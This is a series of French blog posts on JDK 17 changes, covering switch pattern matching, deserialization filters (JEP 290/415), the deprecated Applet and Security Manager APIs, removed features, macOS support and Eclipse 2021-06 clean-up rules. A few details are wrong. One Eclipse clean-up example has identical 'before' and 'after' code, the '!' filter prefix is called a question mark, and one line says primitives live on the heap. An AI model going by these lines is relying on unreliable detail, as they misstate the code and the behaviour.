L’objectif de cette fonctionnalité est de mettre en place le filtrage par motif au niveau des expressions switch.

Regardons un exemple. L’ancien code ressemble à cela (avec l’utilisation du filtrage par motif pour instanceof) :

static String formatter(Object o) {
    String formatted = "unknown";
    if (o instanceof Integer i) {
        formatted = String.format("int %d", i);
    } else if (o instanceof Long l) {
        formatted = String.format("long %d", l);
    } else if (o instanceof Double d) {
        formatted = String.format("double %f", d);
    } else if (o instanceof String s) {
        formatted = String.format("String %s", s);
    }
    return formatted;
}

Avec le filtrage par motif au niveau des switch, nous obtenons le code suivant :

static String formatterPatternSwitch(Object o) {
    return switch (o) {
        case Integer i -> String.format("int %d", i);
        case Long l    -> String.format("long %d", l);
        case Double d  -> String.format("double %f", d);
        case String s  -> String.format("String %s", s);
        default        -> o.toString();
    };
}

Ce dernier est beaucoup plus clair et concis.

Plus d’informations sur le billet dédié.

Fonctionnalités en mode Incubation

412 - Foreign Function & Memory API (Incubator)

Foreign Memory API a été proposé en mode incubation dans le JDK 14, puis ré-incubé dans le JDK 15 et JDK16.

D’un autre côté, Foreign Linker API a été introduit la première fois en mode incubation dans le JDK 16.

L’objectif de cette fonctionnalité (Foreign Function & Memory API) est de réunir les deux fonctionnalités en une seule ayant comme but :

Etre facile à utiliser,
Avoir des performances comparables, voir meilleur, à sun.misc.Unsafe et JNI,
Fournir une voie générale pour l’allocation de la mémoire étrangère,
Désactiver les opérations dangereuses par défaut.

Les travaux sont menés dans le cadre du projet Panama. L’objectif de ce dernier est d’améliorer les interactions du code Java et non-Java de l’application.

414 - Vector API (Second Incubator)

L’API Vectorielle a été proposée la première fois dans le JDK 16.

Les performances ont été améliorées dans cette version. Notamment, pour traduire les vecteurs d’objets vers et depuis les tableaux booléens.

Fonctionnalités dépréciées

398 - Deprecate the Applet API for Removal

Bien que les applets ont permis de rendre le langage populaire, ils ne sont plus supportés par les navigateurs modernes.

Elles étaient dépréciées avec le JDK 9 à travers la JEP 289: Deprecate the Applet API).

Une nouvelle étape est franchie avec l’annonce de dépréciation pour suppression.

Plus d’informations sur le chapitre dédié.

411 - Deprecate the Security Manager for Removal

Cela était moins attendu que la dépréciation des applets. Mais effectivement l’équipe a souhaité les lier du fait que le système de sandbox est vraiment utile pour les applets.

En effet, cela était rarement utilisé côté serveur.

Il n’y a pas d’alternatives proposées au gestionnaire de sécurité. En revanche, des pistes sont explorées :

Sécurisation du code natif (via notamment les travaux en cours sur les appels natifs cf 412 Foreign Function Memory Api (incubator)) en lieu et place de JNI
Surveiller les accès aux ressources via JDK Flight Recorder
Nouvelle API pour bloquer la méthode System.exit()
Sécuriser la sérialisation (via notamment JEP 290: Filter Incoming Serialization Data et cf JEP 415).
Sécuriser le processus de traitement XML

Plus d’informations sur le chapitre dédié.

Fonctionnalités supprimées

407 - Remove RMI Activation

RMI (Remote Method Invocation) est utilisé pour réaliser la communication via des objets distribués. L’activation RMI est le principe d’avoir un daemon permettant de démarrer l’objet car cela est nécessaire.

L’objectif était de limiter les ressources, car tous les objets distribués n’ont plus besoin d’être en fonctionnement.

A noter que cette fonctionnalité est peu ou pas utilisé par la communauté.

De plus, généralement les communications distribuées passent par des procoles de plus haut niveau : HTTP ou gRPC par exemple.

Plus d’informations sur le chapitre dédié.

410 - Remove the Experimental AOT and JIT Compiler

Les deux compilateurs expérimentaux AOT et JIT ont servis de base au projet graalvm.

Le JIT (Just-In-Time) a besoin que la JVM tourne pour commencer les optimisations du code appelé fréquemment (compilateur à la volée). C’est la fameuse phase de "warm-up" de la JVM.
L’AOT consiste à réaliser la compilation native au lieu du code intermédiaire. Ainsi, les performances sont optimales dès le début.

Les travaux ont permis d’avoir beaucoup de retour et d’informations pour la mise en place de ces solutions. Cela a conforté la direction de solution "Java-on-Java".

Plus d’informations sur le chapitre dédié.

JEP 415, Context-Specific Deserialization Filters

dim., 22 août 2021 00:00:00 +0200

Table of Contents

Contexte
JEP 415 Context Specific Deserialization Filters
Exemple de mise en oeuvre
Références

Contexte

Retour sur les nouvelles fonctionalités du JDK 17, le filtre pour se protéger de la désérialisation a été améliorée. Nous avons abordés ce sujet dans le billet précédent

Pour rappel, depuis le JDK 9, nous avons l’interface ObjectInputFilter :

interface ObjectInputFilter {
    Status checkInput(FilterInput filterInfo);

    enum Status {
        UNDECIDED,
        ALLOWED,
        REJECTED;
    }

    ...

    public static class Config {
        public static void setSerialFilter(ObjectInputFilter filter);
        public static ObjectInputFilter getSerialFilter(ObjectInputFilter filter) ;
        public static ObjectInputFilter createFilter(String patterns);
    }
}

JEP 415 Context Specific Deserialization Filters

L’objectif est d’améliorer la granularité au niveau du filtre. En effet, avant le JDK 17, nous avons un paramétrage :

soit global au niveau de la JVM
soit par flux (c’est à dire pour chaque intance de ObjectInputStream)

Comment cela fonctionne

Le principe est la mise en place d’un système de fabrique de filtre. L’objectif est de pouvoir déterminer le filtre à utiliser selon le contexte.

La fabrique doit implémenter l’interface BinaryOperator<ObjectInputFilter>.

public class FiltreSelonContexte implements BinaryOperator<ObjectInputFilter> {

    public ObjectInputFilter apply(ObjectInputFilter curr, ObjectInputFilter next) {
        ....
    }
}

Naturellement, la nouvelle mécanique doit rester compatible avec l’existant.

Ligne de commande

La première possibilité est d’utiliser la ligne de commande. Pour cela, il existe une nouvelle propriété jdk.serialFilterFactory où nous indiquons la classe concernée (qui doit être accessible par le chargeur de classes)

API

Côté API, nous avons des méthodes qui permettent de positionner la fabrique au niveau de la classe ObjectInputFilter.Config.

interface ObjectInputFilter {
    Status checkInput(FilterInput filterInfo);
    ...

    public static class Config {
        ...
        public static BinaryOperator<ObjectInputFilter> getSerialFilterFactory();
        public static void setSerialFilterFactory(BinaryOperator<ObjectInputFilter> filterFactory);
    }
}

Les filtres peuvent s’additionner pour s’adapter au contexte. Pour cela, il existe la méthode ObjectInputFilter.merge(). Voici sa signature :

interface ObjectInputFilter {
    ObjectInputFilter ObjectInputFilter.merge(ObjectInputFilter premier, ObjectInputFilter second);
}

Ainsi, nous avons la séquence suivante :

Appel du filtre premier et obtient le status
Retourne REJECTED si le status est REJECTED
Appel du filtre second et obtient le status
Retourne REJECTED si le status du second filtre est REJECTED
Retourne ALLOWED si l’un des deux status (le premier ou le second) est ALLOWED
Sinon, retourne UNDECIDED

Exemple de mise en oeuvre

L’exemple inclus dans le JEP et la Javadoc consiste à obtenir un contexte par thread (donc un filtre par thread). Pour cela, nous commençons par la définition de la classe suivante :

public static final class FilterInThread implements BinaryOperator<ObjectInputFilter> {

     private final ThreadLocal<ObjectInputFilter> filterThreadLocal = new ThreadLocal<>();

     // Constructeur de la farbique du filtre de la désérialisation
     public FilterInThread() {}

     // Retourne un filtre composite
     public ObjectInputFilter apply(ObjectInputFilter curr, ObjectInputFilter next) {
         ...
     }
     // Applique le filtre au niveau du Thread
     // et appelle la méthode `Runnable.run()`
     public void doWithSerialFilter(ObjectInputFilter filter, Runnable runnable) {
         var prevFilter = filterThreadLocal.get();
         try {
             filterThreadLocal.set(filter);
             runnable.run();
         } finally {
             filterThreadLocal.set(prevFilter);
         }
     }
}

La méthode doWithSerialFilter va ainsi :

positionner le filtre souhaité (c’est à dire passer en paramètre)
appeler la méthode du Runnable.run().
puis, repositionner le filtre initial afin de rétablir la configuration par défaut.

Ainsi, c’est le filtre souhaité qui sera utilisé durant toute l’exécution de la méthode (et notamment du Runnable.run()).

L’utilisation est la suivante :

// Creation de la fabrique de filtre et le positionner de manière globale
var filterInThread = new FilterInThread();
ObjectInputFilter.Config.setSerialFilterFactory(filterInThread);

// Création d'un filtre qui autorise fr.lbenoit.exemple.*, les classes du module
// `java.base` et rejete toutes les autres
var filter = ObjectInputFilter.Config.createFilter("example.*;java.base/*;!*");
filterInThread.doWithSerialFilter(filter, () -> {
        byte[] bytes = ...;
        var o = deserializeObject(bytes);
});

Références

JEP 290, Filter Incoming Serialization Data

dim., 15 août 2021 00:00:00 +0200

Table of Contents

Contexte
Rappel sur la sérialisation
Personnalisation
JEP 290 Filter Incoming Serialization Data
Références

Contexte

Depuis quelques semaines, je déroule les nouveautés du JDK 17. Cette semaine, nous allons revenir en arrière et nous pencher sur une précédente JEP contenue dans le JDK 9. Elle tente de s’attaquer au problème de la désérialisation. Cela n’est pas une spécificité de la plateforme Java. Mais ce problème n’est pas anodin car la désérialisation non sécurisée fait partie du Top 10 OWASP des failles de sécurité des applications web.

Rappel sur la sérialisation

L’objectif est pouvoir transformer uns instance en flux d’octets. Ce dernier sera stocké dans un fichier, passera par le réseau ou autres. Puis, le flux d’octects sera retransformer en instance.

Sérialisation

Voici le code pour sérialiser une chaine de caractère et une date. Nous utilisons la classe ObjectOutputStream et la méthode writeObject

OutputStream o = ...
ObjectOutputStream s = new ObjectOutputStream(o);

s.writeObject("Today's date");
s.writeObject(new Date());

Désérialisation

La désérialisation est l’opération inverse. Elle permet de transformer le flux d’octets en instance. C’est la classe compagnon ObjectInputStream et la méthode readObject.

InputStream o = ...
ObjectInputStream s = new ObjectInputStream(o);

String str = (String) s.readObject();
Date d = (Date) s.readObject();

Vous aurez remarqué que la sérialisation et la désérialisation sont réalisées dans le même ordre : String, puis Date

Activation / Autorisation

La classe doit implémenter tout simplement l’interface java.lang.Serializable.

class MaClasse implements Serializable {

}

Et c’est tout !

Personnalisation

Les opérations sont réalisées par défaut par la JVM au niveau de la classe Object.

class Object {

    void readObject(ObjectInputStream ois);
    void writeObject(ObjectOutputStream oos)
}

De ce fait, le développeur peut surcharger les méthodes readObject et writeObject afin de réaliser sa propre implémentation.

C’est malheureusement par ce biais que les attaques peuvent se produire. Car la JVM va ainsi charger du code. Et ce dernier peut être malveillant.

JEP 290 Filter Incoming Serialization Data

Cette fonctionnalité va permettre l’utilisation de filtre lors de la lecture de flux entrants de la désérialization afin d’améliorer la robustesse et la sécurité.

Tout l’intérêt est que le filtrage est réalisé avant le chargement de la classe. (donc avant le chargement du code potentiellement malveillant).

Les objectifs sont les suivants :

Fournir un mécasnime de filtre flexible pour autoriser la désérialisation des classes,
Fournir des métriques pour le filtre concernant la taille et la complexité du graphe des instances désérialisés,
Fournir un mécanisme compatible avec RMI,
Ne pas utiliser de sous-classes ou de modification de la classe ObjectInputStream,
Pouvoir être configuré de manière globale avec des propriétés.

Définition de l’API

Le filtre est décrit via l’interface ObjectInputFilter:

interface ObjectInputFilter {
    Status checkInput(FilterInput filterInfo);

    enum Status {
        UNDECIDED,
        ALLOWED,
        REJECTED;
    }

   interface FilterInfo {
         Class<?> serialClass();
         long arrayLength();
         long depth();
         long references();
         long streamBytes();
   }

    public static class Config {
        public static void setSerialFilter(ObjectInputFilter filter);
        public static ObjectInputFilter getSerialFilter(ObjectInputFilter filter) ;
        public static ObjectInputFilter createFilter(String patterns);
    }
}

C’est la méthode checkInput qui va être appeler pour vérifier le flux d’entrée.

L’interface FiltreInfo correspond bien au deuxième objectif : avoir des métriques pendant la phase de désérialization.

Configuration du filtre de manière globale

Cela se passe par la propriété jdk.serialFilter. Il suffit de positionner la propriété sur la ligne de commande.

java -Djdk.serialFilter="fr.lbenoit.exemple*;java.base/*;!*" ...

Dans cet exemple, les classes du package fr.lbenoit.exemple et les classes du module java.base sont autorisés. Toutes les autres classes ne le sont pas.

La propriété peut être positionnée dans le fichier conf/security/java.properties

Configuration du filtre par programmation

Pour cela, il suffit d’invoquer la méthode statique createFilter :

 var filtre = ObjectInputFilter.Config.createFilter("fr.lbenoit.exemple.*;java.base/*;!*")

Le filtre peut être positionnée de deux manières :

de manière globale

 ObjectInputFilter.Config.setSerialFilter(filtre);

par flux

Chaque flux peut avoir son filtre dédié. En effet, la classe ObjectInputStream contient des méthodes pour manipuler le filtre.

public class ObjectInputStream ... {
    public final void setObjectInputFilter(ObjectInputFilter filter);
    public final ObjectInputFilter getObjectInputFilter(ObjectInputFilter filter);
}

Donc, pour positionner le filtre, il suffit d’appeler la méthode setObjectInputFilter sur le flux :

ObjectInputStream ois = new ...
ois.setObjectInputFilter(filtre);

Motifs possibles pour la configuration

Comme nous pouvons le voir dans les exemples, nous ne sommes pas obliger de créer une classe implémentant l’interface ObjectInputFilter. Nous pouvons parfaitement utiliser l’implémentation par défaut qui utilise des motifs pour construire les filtres.

Les différents motifs sont :

Si le motif correpond au nom de la classe, seule cette classe est autorisé : fr.lbenoit.exemple.Moto (Seule la classe fr.lbenoit.exemple.Moto est autorisée)
Si le motif est précédé par un point d’intérrogation : !fr.lbenoit.exemple.Voiture (Seule la classe fr.lbenoit.Voiture n’est pas autorisée, tous les autres le sont)
Si le motif se termine par .*, toutes les classes du packages sont autorisées : fr.lbenoit.exemple.* (fr.lbenoit.exemple.Moto et fr.lbenoit.exemple.Voiture sont autorisées)
Si le motif se termine par .**, toutes les classes et sous-classes du packages sont autorisées : fr.lbenoit.* * (fr.lbenoit.Moto, fr.lbenoit.exemple.Voiture et fr.lbenoit.composants.Moteur sont autorisées)
Si le motif contient le caractère /, cela concerne le module
Sinon la décision est UNDECIDED

Références

JEP 398 et JEP 411 Les fonctionalités dépréciées (pour suppression) du JDK 17

dim., 8 août 2021 00:00:00 +0200

Table of Contents

Contexte
JEP 398 Deprecate the Applet API for Removal
JEP 411 Deprecate the Security Manager for Removal
- Et maintenant ?
Références

Contexte

Le JDK 17 continue de bouger. cela implique aussi que certaines fonctionnalités soient dépréciées. En effet, le JDK s’adapte selon son utilisation et les besoins des développeurs. Certaines techniques qui ont fait le succès de Java sont devenues obsolètes. La dépréciation pour suppression permet au dévéloppeur Java de savoir le sens des évolutions Java et de pouvoir s’anticiper les changements.

JEP 398 Deprecate the Applet API for Removal

Les applets Java ont fait fureur dans son temps (début du Web) et cela a contribué à la popularité de Java. Mais, le Web a évolué aussi de son côté : HTML5, CSS et JavaScript. Les applets Java ne sont plus supportées par aucun navigateur moderne (depuis 2015).

De ce constat, les Applets franchissent un pas vers leur suppression. L’API Applet était déjà dépréciée par la JEP 289 : Deprecate the Applet API inclus dans le JDK 9.

Cela inclut les classes et interfaces suivantes :

java.applet.Applet
java.applet.AppletStub
java.applet.AppletContext
java.applet.AudioClip
javax.swing.JApplet
java.beans.AppletInitializer

Il est intéressant de noter dans la première JEP 289, ils avaient déjà précisés (en 2016) qu’ils feraient la dépréciation pour suppression lors de la prochaine version majeure. Chose faite avec cette version LTS.

JEP 411 Deprecate the Security Manager for Removal

Le gestionnaire de sécurité est un héritage de Java 1.0. C’est une solution qui permet de sécuriser le code Java, notamment côté client dans le cadre des applets notamment.

Il a été revu dans le JDK 1.2 pour appliquer le principe du moindre priviliège.

La configuration avec l’ensemble des permissions est très complexe (fameux fichier java.policy). La configuration n’est pas globale mais elle peut être spécifique à une librairie. Voici un exemple de fichier policy pour la base de données derby

Par exemple, lors de l’utilisation d’une librairie, il fallait configurer les droits associés à cette librairie. Cela n’est pas simple lorsque nous sommes simple utilisateur de cette librairie. De plus, il était nécessaire de rajouter la configuration pour les dépendances de la librairie.

Donc, en final, nous avions très souvent :

Pas de sécurité activée,
Sécurité activée avec toutes les permissions accordées (équivalent au point précédent),
Un fichier de sécurité mal configuré (plus problématique car le développeur se sent protéger).

Donc, au final, cela était rarement utilisé côté serveur.

De mon expérience, je l’ai utilisé une fois pour permettre la mutualisation de trois serveurs d’applications sur une machine dont chacun serveur d’applications devait pouvoir accèder uniquement à sa base. Nous devions pouvoir le garantir en tant d’exploitant du serveur d’applications (et non développeur de l’application).

L’équipe d’OpenJDK souhaite profiter de la dépreciation pour suppression des Applets (JEP précédente) pour l’accompagner par la dépréciation pour suppression du gestionnaire de sécurité.

Cela est un signal fort à la communauté. Cela a été l’occassion de beaucoup d’échange sur les listes jdk-dev et security-dev du projet OpenJDK.

Une des utilisations fréquente est aussi la protection contre System::exit. Ainsi, l’application s’assure qu’un plugin (par exemple) ne demande pas l’arrêt de la JVM (Ex: NetBeans ou JIRA).

Et maintenant ?

La JEP n’intègre pas d' alternative au gestionnaire de sécurité. En revanche, des pistes sont à explorer en parallèle et dans le futur :

Sécuriser l’accès aux codes natifs. (Incubateur pour le JDK 17, prochain billet à venir),
Surveiller l’accès aux ressources : Utilisation de JDK Flight Recorder avec de nouveaux événements,
Bloquer l’accès à l’api System::exit via une nouvelle API,
Sécuriser la désérialisation (prochain billet à venir),
Sécuriser le traitement des fichiers XML (JAXP) : Activer par défaut le mode sécurisé de JAXP,
Trouver une alternative pour JAAS au niveau de Subject.doAs.

Références

JEP 407 et JEP 410, les fonctionnalités retirées du JDK 17

dim., 1 août 2021 00:00:00 +0200

Table of Contents

Contexte
JEP 407 Remove RMI Activation
JEP 410 Remove the Experimental AOT and JIT Compiler
Références

Contexte

Le JDK évolue pour s’adapter au développement actuel. Cette évolution comprend aussi le retrait de fonctionnalités qui ne sont plus utilisées. En effet, les besoins évoluent selon les architectures utilisées.

L’exemple de la première JEP est significatif par rapport à l’usage du protocole HTTP pour traiter la distribution au lieu d’autres protocoles existants : CORBA, RMI

JEP 407 Remove RMI Activation

Les mécanismes de RMI ne changent pas. Le retrait concerne seulement l’activation RMI.

Cela n’est pas à confondre avec JavaBean Activation Framework (JAF) de Java EE, qui a été renommée Jakarta Activation depuis la reprise par la fondation Eclipse. Cela ne concerne pas le même sujet et il n’y a aucun impact vis à vis de ce retrait.

Reprenons les bases.

RMI est l’acronyme pour Remote Method Invocation. C’est le moyen en Java de pouvoir appeler une méthode d’un objet distant. C’est à dire que l’instance se trouve sur la même JVM, sur une autre JVM du même ordinateur ou sur une autre JVM d’un autre ordinateur. Cela est transparent pour l’appelant.

Sans rentrer dans le détail (ce n’est pas le but de cet article), voici le principe de fonctionnement de RMI :

Ce qui veut dire que les serveurs doivent s’enregistrer auprès de l’annuaire.

Et c’est là qu’intervient l’activation RMI. C’est le moyen pour pouvoir activer les objets seulement à la demande. Pour cela, nous avons :

Une classe java abstraite java.rmi.activation.Activatable
Un utilitaire rmid

Pour plus d’information, je vous laisse lire le sujet d’activation dans les specifications RMI du JDK 11

Un peu d’histoire

Il faut savoir que cette JEP fait suite à la JEP 385 : Deprecate RMI Activation for Removal inclus dans le JDK 15 (septembre dernier).

Suite à l’annonce de la dépréciation (pour suppression) de cette fonctionnalité, il n’y a pas eu de retour à ce sujet. Cela n’est pas une preuve en soit mais une bonne indication.

Pour les systèmes qui l’utilisent, la solution sera de rester sur une ancienne version du JDK ayant un support étendu. Laissant le temps de faire évoluer le système.

Et maintenant ?

Le retrait concerne :

Le package java.rmi.activation,
Le code d’implémentations,
Les tests de non-régression,
La spécification RMI dont le volet activation sera supprimé,
Le daemon rmid.

JEP 410 Remove the Experimental AOT and JIT Compiler

Un peu d’histoire

Cette JEP est moins problématique car cela correspond à supprimer des fonctionnalités expérimentales du JDK (donc moins d’utilisateurs impactés) :

AOT (Ahead-of-Time) a été introduite dans le JDK 9 avec JEP 295 : Ahead-of-Time Compilation
"Java based JIT Compiler" a été introduite dans le JDK 10 avec JEP 317 : Experimental Java-Based JIT Compiler. C’est le fameux compilateur graal.

Le JIT (Just-In-Time) a besoin que la JVM tourne pour commencer les optimisations du code appelé fréquemment (compilateur à la volée). C’est la fameuse phase de "warm-up" de la JVM.

L’AOT consiste à réaliser la compilation native au lieu du code intermédiaire. Ainsi, les performances sont optimales dès le début.

Le compilateur JIT basé en Java (appelé Graal) permet de pouvoir écrire le compilateur JIT en Java et non en C++. Et oui, du code Java qui optimise du code Java. Plus sérieusement, cela permet d’améliorer la maintenabilité du code.

Ces expérimentations ont été à l’origine de la solution GraalVM.

Et maintenant ?

L’effort de maintenir ces solutions est important, donc il a été décidé de les retirer. Le projet Metropolis passe en mode veille.

Le retrait concerne principalement trois modules:

jdk.aot - l’outil jaotc,
jdk.internal.vm.compiler - le compilateur Graal,
jdk.internal.vm.compiler.management - MBeans de Graal.

Il est intéressant de noter que cela n’impacte pas le package jdk.internal.vm.ci. Ce module a été introduit dans le JDK 9 avec la JEP 243 : Java-Level JVM Compiler Interface.

C’est l’API Java qui permet d’avoir des interfaces pour un compilateur en Java (connu aussi sous le nom de JVMCI). Donc même si le compilateur graal n’existera plus, rien n’empêche d’en avoir un nouveau.

La suite

L’équipe est content du travail fourni car cela a permit d’avoir une bonne expérience sur le travail de l’AOT. Cela conforte aussi la direction de solution "Java-on-Java".

Cela sera utile dans la mise en oeuvre du projet leyden.

Les développeurs utilisant le compilateur graal doit se tourner vers la solution GraalVM.

Références

JEP 382 et JEP 391, les apports du JDK 17 pour macOS

dim., 25 juil. 2021 00:00:00 +0200

Table of Contents

Contexte
JEP 391 macOS / AArch64 Port
JEP 382 new macOS Rendering Pipeline
- Historique
- Côté Java
Références

Contexte

Le JDK évolue pour suivre les évolutions de la plateforme macOS.

Pour ceux qui me connaissent, je suis un fan de Linux et notamment de Debian. Mais c’est intéressant de voir comment la plateforme Java s’adapte aux évolutions du marché.

Donc, pour les fans d’Apple, nous allons commencé dans l’ordre inverse de la numérotation.

JEP 391 macOS / AArch64 Port

Historique

Tim Cook a annoncé le 22 juin 2020, lors de conférence Apple pour les développeurs, la création et l’utilisation de ses propres processeurs Apple Silicon basés sur l’architecture ARM64. Il a aussi précisé qu’il y aura une phase de de transition de deux ans.

Côté Java

L’architecture ARM64 correspond aussi à ce que l’on appelle AArch64. Je vous parlais déjà de cette architecture dans mon billet en début d’année AArch64 Découvrir le projet de portage

Je vous annonçais que le portage sur macOS/AArch64 était prêt et aller bientôt arriver. Donc ça y est, c’est fait. Le portage est disponible pour le JDK 17.

Possesseur d’Apple Silicon, à vous de profiter du JDK en natif, sans le système Rosetta 2.

Complément

Il est intéressant de noter une spécificité de la plateforme macOS/AArch64. Elle n’autorise pas les segments mémoires où il est possible d’écrire et d’exécuter à la fois. Cela est réalisé pour des raisons de sécurité car il s’agit d’une attaque courante dans l’exploitation de faille logicielle. Plus d’informations sur l' Article Wikipedia W^X

Pourquoi en parler ? parce que la JVM HotSpot crée et modifie du code executable. C’est à dire elle fait exactement ce qu’interdit la fonctionnalité W^X évoquée ci-dessus. Cette JEP permet tenir compte de cette contrainte (mais uniquement pour cette plateforme).

JEP 382 new macOS Rendering Pipeline

Historique

Cela fait parti d’une annonce d’Apple de septembre 2018 lors de la sortie de macOS 10.14. Apple sort le cadriciel Metal comme remplaçant de OpenGL. Ce dernier est déprécié.

Côté Java

En août 2019, le projet Lanai est mis en place. Le but est de prendre en charge le rendu avec l’API Apple Metal.

L’objectif est de :

Reprendre toutes les fonctionnalités de l’API Java 2D
Mettre en place la coexistence avec l’implémentation OpenGL
Etre prêt quand Apple supprimera OpenGL
Etre transparent pour les utilisateurs
Fournir les mêmes performances (voir meilleure)

Cette JEP permet justement de finaliser le projet. C’est à dire d’intégrer l’implémentation dans le JDK.

La transparence est assurée par le fait que cela concerne l’implémentation interne du JDK.

En revanche, il est intéressant de noter que l’implémentation par défaut est OpenGL. Donc, si vous souhaitez utiliser la nouvelle implémentation est faudra ajouter la propriété suivante :

-Dsun.java2d.metal=true

C’est bizarre au début mais logique après réflexion.

En effet, OpenGL est déprécié mais il n’est pas supprimé. Donc c’est normalement de pouvoir continuer à l’utiliser. A ce titre, les utilisateurs classiques n’auront aucun impact.

En revanche, cela permettra aux utilisateurs de tester leurs applications et les différentes situations avec la nouvelle implémentation et faire des retours à l’équipe.

Vous voulez être de la partie, n’hésitez pas ! Pour les retours, vous avez les listes suivantes :

Il est à noter que les builds du JDK 17 (en pré-version) du n°19 au n°23 avaient l’implémentation avec Metal actif par défaut. Il était néanmoins possible de réactiver OpenGL

Références

Eclipse IDE 2021-06 est sortie

dim., 11 juil. 2021 00:00:00 +0200

Table of Contents

Contexte
- SimRel ?
Eclipse IDE en chiffres
Les nouveautés
Outil de nettoyage de code
Références

Contexte

La dernière version d’Eclipse 2021-06 (v 4.20) est disponible depuis le 16 juin sur la page de téléchargement, soit seulement 3 mois après la dernière version. L’éco-système java s’adapte et suit les nouveautés du jdk.

Une question subsiste. Où sont passées les petits noms accompagnant les versions d’Eclipse : mars, neon, oxygen ou photon ?

SimRel ?

Les versions ne possède plus de noms, mais l’année suivi du mois de la sortie.

SimRel est la contraction de Simulaneous Release.

C’est à dire que la fondation Eclipse et la communauté des projets s’organisent pour sortir une version coordonnée avec l’ensemble des projets. La page Simultaneous Release donne des informations sur les différentes versions et les références vers le wiki selon la version.

C’est depuis septembre 2018 que Eclipse a choisi de changer sa cadence de sortie avec SimRel:

1 version majeur,
suivi 3 version de mise à jour (cycle de 13 semaines)

Les treize semaines inclut le planning suivant :

3 Versions Milestone (M1/2/3)
2 Versions Release Candidate (RC1/2)
1 Version disponibilité générale (GA)

Eclipse IDE en chiffres

Pour se remetre en phase avec l’ensemble de ces projets et ses contributeurs. Voici quelques chiffres :

Les nouveautés

Support JDK 16 par défaut. Avec cette version, le support de JDK 16 est inclus de base. Ce n’est pas la peine d’ajouter une extension dédiée.
Inclusion d’un JRE 16 par défaut Un JDK est fourni par défaut depuis la version 2020-12. Cela permet d’être autonome et de n’avoir pas besoin de pré-requis.
Amélioration du terminal Des améliorations ont été portées sur le terminal inclus dans Eclipse
Outil de nettoyage de code L’outil disponible dans l’IDE a été enrichie de 12 améliorations. Nous allons le voir dans la section dédiée.

Outil de nettoyage de code

Introduction

Je connais. Je veux voir directement les nouvelles règles

C’est l’occasion de faire un focus sur cet outil. Cela permet d’aller plus loin que le simple formattage. Les propositions sont classées selon les catégories suivantes :

Organisation du code
Style de code
Duplication de code
Fonctionnalité Java
Accès aux membres
Code manquant
Optimisation
Correction de code
Code non nécessaire

La configuration est faite au niveau des préférences. (Allez le menu Java > Code Style > Clean Up). Cela peut être surchargé par projet.

Les nouveautés

Comme mentionné plus haut, l’outil de nettoyage de code vient avec 12 améliorations. Nous allons voir les cas d’usages :

(Style de code) Utilisation du mot clé instanceof

public class Cleanup_1_UtilisationInstanceOf {
	public boolean maMethode(Object obj) {
        return String.class.isInstance(obj);
    }
}

devient

public class Cleanup_1_UtilisationInstanceOf {
	public boolean maMethode(Object obj) {
        return (obj instanceof String);
    }
}

(Duplication de code) Factorisation des opérateurs

public class Cleanup_2_FactorisationOperateur {
	public boolean maMethode(boolean repetitionBool, boolean isValide, boolean isActive) {
        return repetitionBool && !isValide || repetitionBool && isActive;
	}
}

devient

public class Cleanup_2_FactorisationOperateur {
	public boolean maMethode(boolean repetitionBool, boolean isValide, boolean isActive) {
        return repetitionBool && !isValide || repetitionBool && isActive;
	}
}
----

(Duplication de code) Réorganise les instructions if pour éviter la duplication.

public class Cleanup_3_OrganiseIfExterieur {
    public void maMethode(boolean isValide, boolean isActive) {
        if (isValide) {
            if (isActive) {
                System.out.println("123");
            }
        } else if (isActive) {
            System.out.println("456");
        }
    }
}

devient

public class Cleanup_3_OrganiseIfExterieur {
    public void maMethode(boolean isValide, boolean isActive) {
        if (isActive) {
			if (isValide) {
			    System.out.println("123");
			} else {
			    System.out.println("456");
			}
		}
    }
}

(Duplication de code) Une seul instruction if au lieu de bloc dupliqué

public class Cleanup_4_UnSeulBlocIf {
	public void maMethode(int nombre) {
        if (nombre == 0) {
           System.out.println("123");
           return;
        }
        if (nombre == 1) {
           System.out.println("123");
           return;
        }
        System.out.println("456");
    }
}

devient

public class Cleanup_4_UnSeulBlocIf {
	public void maMethode(int nombre) {
        if ((nombre == 0) || (nombre == 1)) {
           System.out.println("123");
           return;
        }
        System.out.println("456");
    }
}

(Optimisation) Utilisation de la méthode String.isBlank()

L’appel de la méthode String.strip() est coûteux car elle nécessite la création d’une instance de String alors que nous pouvons avoir l’information directement avec la méthode String.isBlank()

public class Cleanup_5_UtilisationIsBlank {
    public boolean maMethode(String texte) {
        return texte.strip().isEmpty();
    }
}

devient

public class Cleanup_5_UtilisationIsBlank {
    public boolean maMethode(String texte) {
        return texte.isBlank();
    }
}

(Optimisation) Utilisation de valueOf() au lieu du constructeur

Pour rappel, les constructeurs pour ces types de classes "wrapper" sont dépréciés depuis Java 9.

Cela va dans le sens des avertissements supplémentaires de Java 16 sur l’instantiation de ce type de classes (mon billet dédié à la JEP 390)

public class Cleanup_6_UtilisationValueOf {
    public void maMethode() {
        Byte un = new Byte((byte)4);
        Boolean deux = new Boolean(true);
        Character trois = new Character('c');
        Double quatre = new Double(2.0);
        Float cinq = new Float(1f);
        Long six = new Long(10);
        Short sept = new Short((short)25);
        Integer huit = new Integer(1);
    }
}

devient

public class Cleanup_6_UtilisationValueOf {
    public void maMethode() {
        Byte un = Byte.valueOf((byte)4);
        Boolean deux = Boolean.valueOf(true);
        Character trois = Character.valueOf('c');
        Double quatre = Double.valueOf(2.0);
        Float cinq = Float.valueOf(1f);
        Long six = Long.valueOf(10);
        Short sept = Short.valueOf((short)25);
        Integer huit = Integer.valueOf(1);
    }
}

(Optimisation) Utilisation type primitif au lieu de leur pendant objet

Cela évite les phases de "autoboxing/unboxing".

Côté performance, les types primitifs pourront être sur le tas. Cela est plus efficace qu’un appel à des méthodes d’une instance.

public class Cleanup_7_UtilisationTypePrimitif {
    public int maMethode(Double nombre) {
    	Double variableInitialise = new Double("0");

    	if (variableInitialise.doubleValue() > 0.0) {
    		System.out.println(variableInitialise.toString() + 1);
    	}

    	return variableInitialise.compareTo(nombre);
    }
}

devient

public class Cleanup_7_UtilisationTypePrimitif {
    public int maMethode(Double nombre) {
    	double variableInitialise = Double.parseDouble("0");

    	if (variableInitialise > 0.0) {
    		System.out.println(Double.toString(variableInitialise) + 1);
    	}

    	return Double.compare(variableInitialise, nombre);
    }
}

(Code non nécessaire) Utilisation de la valeur booléenne plutôt qu''une comparaison

public class Cleanup_8_UtilisationValeurBooleenne {
    public void maMethode(boolean isValide) {
    	if (isValide == true) {
    		System.out.println("123");
    	}
    }
}

devient

public class Cleanup_8_UtilisationValeurBooleenne {
    public void maMethode(boolean isValide) {
    	if (isValide) {
    		System.out.println("123");
    	}
    }
}

